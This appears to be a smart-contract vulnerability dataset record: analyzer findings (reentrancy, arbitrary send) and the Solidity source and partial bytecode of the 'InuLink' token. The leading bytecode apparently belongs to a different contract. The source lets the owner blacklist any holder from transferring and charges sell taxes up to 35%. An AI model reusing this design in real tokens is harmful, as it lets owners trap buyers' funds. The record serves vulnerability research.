509550955095509550955061267486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128aa90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061270985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128f490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275581612952565b61275f8483612a0f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127bc91906133d8565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea000009050612817683635c9adc5dea000006006546124ce90919063ffffffff16565b82101561283657600654683635c9adc5dea0000093509350505061283f565b81819350935050505b9091565b600080600080600080600080600061285f8a6008546012612a49565b925092509250600061286f612545565b905060008060006128828e878787612adf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128ec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061201b565b905092915050565b6000808284612903919061350e565b905083811015612948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293f906132b8565b60405180910390fd5b8091505092915050565b600061295c612545565b90506000612973828461245390919063ffffffff16565b90506129c781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128f490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a24826006546128aa90919063ffffffff16565b600681905550612a3f816007546128f490919063ffffffff16565b6007819055505050565b600080600080612a756064612a67888a61245390919063ffffffff16565b6124ce90919063ffffffff16565b90506000612a9f6064612a91888b61245390919063ffffffff16565b6124ce90919063ffffffff16565b90506000612ac882612aba858c6128aa90919063ffffffff16565b6128aa90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612af8858961245390919063ffffffff16565b90506000612b0f868961245390919063ffffffff16565b90506000612b26878961245390919063ffffffff16565b90506000612b4f82612b4185876128aa90919063ffffffff16565b6128aa90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612b7b612b768461348d565b613468565b90508083825260208201905082856020860282011115612b9a57600080fd5b60005b85811015612bca5781612bb08882612bd4565b845260208401935060208301925050600181019050612b9d565b5050509392505050565b600081359050612be381613acb565b92915050565b600081519050612bf881613acb565b92915050565b600082601f830112612c0f57600080fd5b8135612c1f848260208601612b68565b91505092915050565b600081359050612c3781613ae2565b92915050565b600081519050612c4c81613ae2565b92915050565b600081359050612c6181613af9565b92915050565b600081519050612c7681613af9565b92915050565b600060208284031215612c8e57600080fd5b6000612c9c84828501612bd4565b91505092915050565b600060208284031215612cb757600080fd5b6000612cc584828501612be9565b91505092915050565b60008060408385031215612ce157600080fd5b6000612cef85828601612bd4565b9250506020612d0085828601612bd4565b9150509250929050565b600080600060608486031215612d1f57600080fd5b6000612d2d86828701612bd4565b9350506020612d3e86828701612bd4565b9250506040612d4f86828701612c52565b9150509250925092565b60008060408385031215612d6c57600080fd5b6000612d7a85828601612bd4565b9250506020612d8b85828601612c52565b9150509250929050565b600060208284031215612da757600080fd5b600082013567ffffffffffffffff811115612dc157600080fd5b612dcd84828501612bfe565b91505092915050565b600060208284031215612de857600080fd5b6000612df684828501612c28565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c3d565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c52565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612c67565b9350506020612e8586828701612c67565b9250506040612e9686828701612c67565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec181613623565b82525050565b612ed081613623565b82525050565b6000612ee1826134c9565b612eeb81856134ec565b9350612ef6836134b9565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f19836134df565b925050600181019050612efa565b5085935050505092915050565b612f3d81613635565b82525050565b612f4c81613678565b82525050565b6000612f5d826134d4565b612f6781856134fd565b9350612f7781856020860161368a565b612f80816137c4565b840191505092915050565b6000612f986023836134fd565b9150612fa3826137d5565b604082019050919050565b6000612fbb602a836134fd565b9150612fc682613824565b604082019050919050565b6000612fde6022836134fd565b9150612fe982613873565b604082019050919050565b6000613001601b836134fd565b915061300c826138c2565b602082019050919050565b6000613024601d836134fd565b915061302f826138eb565b602082019050919050565b60006130476021836134fd565b915061305282613914565b604082019050919050565b600061306a6020836134fd565b915061307582613963565b602082019050919050565b600061308d6029836134fd565b91506130988261398c565b604082019050919050565b60006130b06025836134fd565b91506130bb826139db565b604082019050919050565b60006130d36024836134fd565b91506130de82613a2a565b604082019050919050565b60006130f66017836134fd565b915061310182613a79565b602082019050919050565b60006131196011836134fd565b915061312482613aa2565b602082019050919050565b61313881613661565b82525050565b6131478161366b565b82525050565b60006020820190506131626000830184612ec7565b92915050565b600060408201905061317d6000830185612ec7565b61318a6020830184612ec7565b9392505050565b60006040820190506131a66000830185612ec7565b6131b3602083018461312f565b9392505050565b600060c0820190506131cf6000830189612ec7565b6131dc602083018861312f565b6131e96040830187612f43565b6131f66060830186612f43565b6132036080830185612ec7565b61321060a083018461312f565b979650505050505050565b60006020820190506132306000830184612f34565b92915050565b600060208201905081810360008301526132508184612f52565b905092915050565b6000602082019050818103600083015261327181612f8b565b9050919050565b6000602082019050818103600083015261329181612fae565b9050919050565b600060208201905081810360008301526132b181612fd1565b9050919050565b600060208201905081810360008301526132d181612ff4565b9050919050565b600060208201905081810360008301526132f181613017565b9050919050565b600060208201905081810360008301526133118161303a565b9050919050565b600060208201905081810360008301526133318161305d565b9050919050565b6000602082019050818103600083015261335181613080565b9050919050565b60006020820190508181036000830152613371816130a3565b9050919050565b60006020820190508181036000830152613391816130c6565b9050919050565b600060208201905081810360008301526133b1816130e9565b9050919050565b600060208201905081810360008301526133d18161310c565b9050919050565b60006020820190506133ed600083018461312f565b92915050565b600060a082019050613408600083018861312f565b6134156020830187612f43565b81810360408301526134278186612ed6565b90506134366060830185612ec7565b613443608083018461312f565b9695505050505050565b6000602082019050613462600083018461313e565b92915050565b6000613472613483565b905061347e82826136bd565b919050565b6000604051905090565b600067ffffffffffffffff8211156134a8576134a7613795565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061351982613661565b915061352483613661565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561355957613558613737565b5b828201905092915050565b600061356f82613661565b915061357a83613661565b92508261358a57613589613766565b5b828204905092915050565b60006135a082613661565b91506135ab83613661565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135e4576135e3613737565b5b828202905092915050565b60006135fa82613661565b915061360583613661565b92508282101561361857613617613737565b5b828203905092915050565b600061362e82613641565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061368382613661565b9050919050565b60005b838110156136a857808201518184015260208101905061368d565b838111156136b7576000848401525b50505050565b6136c6826137c4565b810181811067ffffffffffffffff821117156136e5576136e4613795565b5b80604052505050565b60006136f982613661565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561372c5761372b613737565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613ad481613623565b8114613adf57600080fd5b50565b613aeb81613635565b8114613af657600080fd5b50565b613b0281613661565b8114613b0d57600080fd5b5056fe506c616e7420612054726565207c20742e6d652f706c616e7474726565746f6b656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220467a5d3ea0e91c7ae89bb348d0bea6d4f97cb9fdf2b96b20b6dfeada748f4e9764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,200 |
0xe48f7e6d1d02e2d45c54f72f489fc72daa35d65f
|
/**
*
InuLink is going to launch in the Uniswap at July 11.
This is fair launch and going to launch without any presale.
tg: https://t.me/InuLink_community
All crypto babies will become a Inulink in here.
Let's enjoy our launch!
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract InuLink is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Inu Link";
string private constant _symbol = unicode" ILINK ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600881526020017f496e75204c696e6b000000000000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473fffff